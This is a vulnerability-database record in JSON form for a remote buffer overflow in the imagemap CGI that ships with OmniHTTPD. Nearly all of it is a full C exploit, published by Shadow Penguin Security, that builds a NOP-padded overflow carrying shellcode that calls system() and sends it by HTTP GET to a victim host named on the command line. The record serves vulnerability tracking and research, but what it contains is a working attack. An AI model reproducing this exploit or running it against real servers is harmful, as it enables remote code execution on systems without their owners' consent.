DATABASE RESOURCES PRICING ABOUT US

{"href": "https://www.seebug.org/vuldb/ssvid-73487", "status": "poc", "bulletinFamily": "exploit", "modified": "2014-07-01T00:00:00", "title": "Omnicron OmniHTTPD 1.1/2.4 Pro Buffer Overflow Vulnerability", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-73487", "cvelist": [], "description": "No description provided by source.", "viewCount": 3, "published": "2014-07-01T00:00:00", "sourceData": "\n source: http://www.securityfocus.com/bid/739/info\r\n\r\nThere is a remotely exploitable buffer overflow vulnerability in the CGI program "imagemap", which is distributed with Omnicron's OmniHTTPD. During operations made on arguments passed to the program, a lack of bounds checking on a strcpy() call can allow for arbitrary code to be executed on the machine running the server. \r\n\r\n/*=============================================================================\r\n Imagemap 1.00.00 CGI Exploit (Distributed with OmniHTTPd 1.01 and Pro2.04)\r\n The Shadow Penguin Security (http://shadowpenguin.backsection.net)\r\n Written by UNYUN (shadowpenguin@backsection.net)\r\n =============================================================================\r\n*/\r\n#include <stdio.h>\r\n#include <string.h>\r\n#include <windows.h> \r\n#include <winsock.h>\r\n\r\n#define MAXBUF 2000\r\n#define RETADR 348\r\n#define JMPADR 344\r\n#define HTTP_PORT 80\r\n\r\nunsigned int mems[]={\r\n0xBFB50000, 0xBFB72FFF, 0xBFDE0000, 0xBFDE5FFF,\r\n0xBFE00000, 0xBFE0FFFF, 0xBFE30000, 0xBFE42FFF,\r\n0xBFE80000, 0xBFE85FFF, 0xBFE90000, 0xBFE95FFF,\r\n0xBFEA0000, 0xBFF1EFFF, 0xBFF20000, 0xBFF46FFF,\r\n0xBFF50000, 0xBFF60FFF, 0xBFF70000, 0xBFFC5FFF,\r\n0xBFFC9000, 0xBFFE2FFF,\r\n0,0};\r\n\r\nunsigned char exploit_code[200]={\r\n0xEB,0x32,0x5B,0x53,0x32,0xE4,0x83,0xC3,\r\n0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,\r\n0xBF,0xFF,0xD0,0x43,0x53,0x50,0x32,0xE4,\r\n0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,\r\n0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x43,0x53,\r\n0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,\r\n0xD6,0x90,0xEB,0xFD,0xE8,0xC9,0xFF,0xFF,\r\n0xFF,0x00\r\n};\r\n\r\nunsigned char cmdbuf[200]="msvcrt.dll.system.welcome.exe";\r\n\r\nunsigned int search_mem(unsigned char *st,unsigned char *ed,\r\n unsigned char c1,unsigned char c2)\r\n{\r\n unsigned char *p;\r\n unsigned int adr;\r\n\r\n for (p=st;p<ed;p++)\r\n if (*p==c1 && *(p+1)==c2){\r\n adr=(unsigned int)p;\r\n if ((adr&0xff)==0) continue;\r\n if (((adr>>8)&0xff)==0) continue;\r\n if (((adr>>16)&0xff)==0) continue;\r\n if (((adr>>24)&0xff)==0) continue;\r\n return(adr);\r\n }\r\n return(0);\r\n}\r\n\r\nmain(int argc,char *argv[])\r\n{\r\n SOCKET sock;\r\n SOCKADDR_IN addr;\r\n WSADATA wsa;\r\n WORD wVersionRequested;\r\n unsigned int i,ip,p1,p2;\r\n static unsigned char buf[MAXBUF],packetbuf[MAXBUF+1000];\r\n struct hostent *hs;\r\n\r\n if (argc<2){\r\n printf("usage: %s VictimHost\\n",argv[0]); return -1;\r\n }\r\n wVersionRequested = MAKEWORD( 2, 0 );\r\n if (WSAStartup(wVersionRequested , &wsa)!=0){\r\n printf("Winsock Initialization failed.\\n"); return -1;\r\n }\r\n if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){\r\n printf("Can not create socket.\\n"); return -1;\r\n }\r\n addr.sin_family = AF_INET;\r\n addr.sin_port = htons((u_short)HTTP_PORT);\r\n if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){\r\n if ((hs=gethostbyname(argv[1]))==NULL){\r\n printf("Can not resolve specified host.\\n"); return -1;\r\n }\r\n addr.sin_family = hs->h_addrtype;\r\n memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);\r\n }\r\n if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){\r\n printf("Can not connect to specified host.\\n"); return -1;\r\n }\r\n memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;\r\n for (i=0;;i+=2){\r\n if (mems[i]==0) return FALSE;\r\n if ((ip=search_mem((unsigned char *)mems[i],\r\n (unsigned char *)mems[i+1],0xff,0xe3))!=0) break;\r\n }\r\n buf[RETADR ]=ip&0xff;\r\n buf[RETADR+1]=(ip>>8)&0xff;\r\n buf[RETADR+2]=(ip>>16)&0xff;\r\n buf[RETADR+3]=(ip>>24)&0xff;\r\n buf[JMPADR ]=0xeb;\r\n buf[JMPADR+1]=0x06;\r\n\r\n strcat(exploit_code,cmdbuf);\r\n p1=(unsigned int)LoadLibrary;\r\n p2=(unsigned int)GetProcAddress;\r\n exploit_code[0x0d]=p1&0xff;\r\n exploit_code[0x0e]=(p1>>8)&0xff;\r\n exploit_code[0x0f]=(p1>>16)&0xff;\r\n exploit_code[0x10]=(p1>>24)&0xff;\r\n exploit_code[0x1e]=p2&0xff;\r\n exploit_code[0x1f]=(p2>>8)&0xff;\r\n exploit_code[0x20]=(p2>>16)&0xff;\r\n exploit_code[0x21]=(p2>>24)&0xff;\r\n\r\n memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));\r\n sprintf(packetbuf,"GET /cgi-bin/imagemap.exe?%s\\r\\n\\r\\n",buf);\r\n send(sock,packetbuf,strlen(packetbuf),0);\r\n closesocket(sock);\r\n printf("Done.\\n");\r\n return FALSE;\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\n ", "id": "SSV:73487", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T14:06:38", "reporter": "Root", "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.3}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1647713861, "score": 1659785532, "epss": 1678848988}}

{}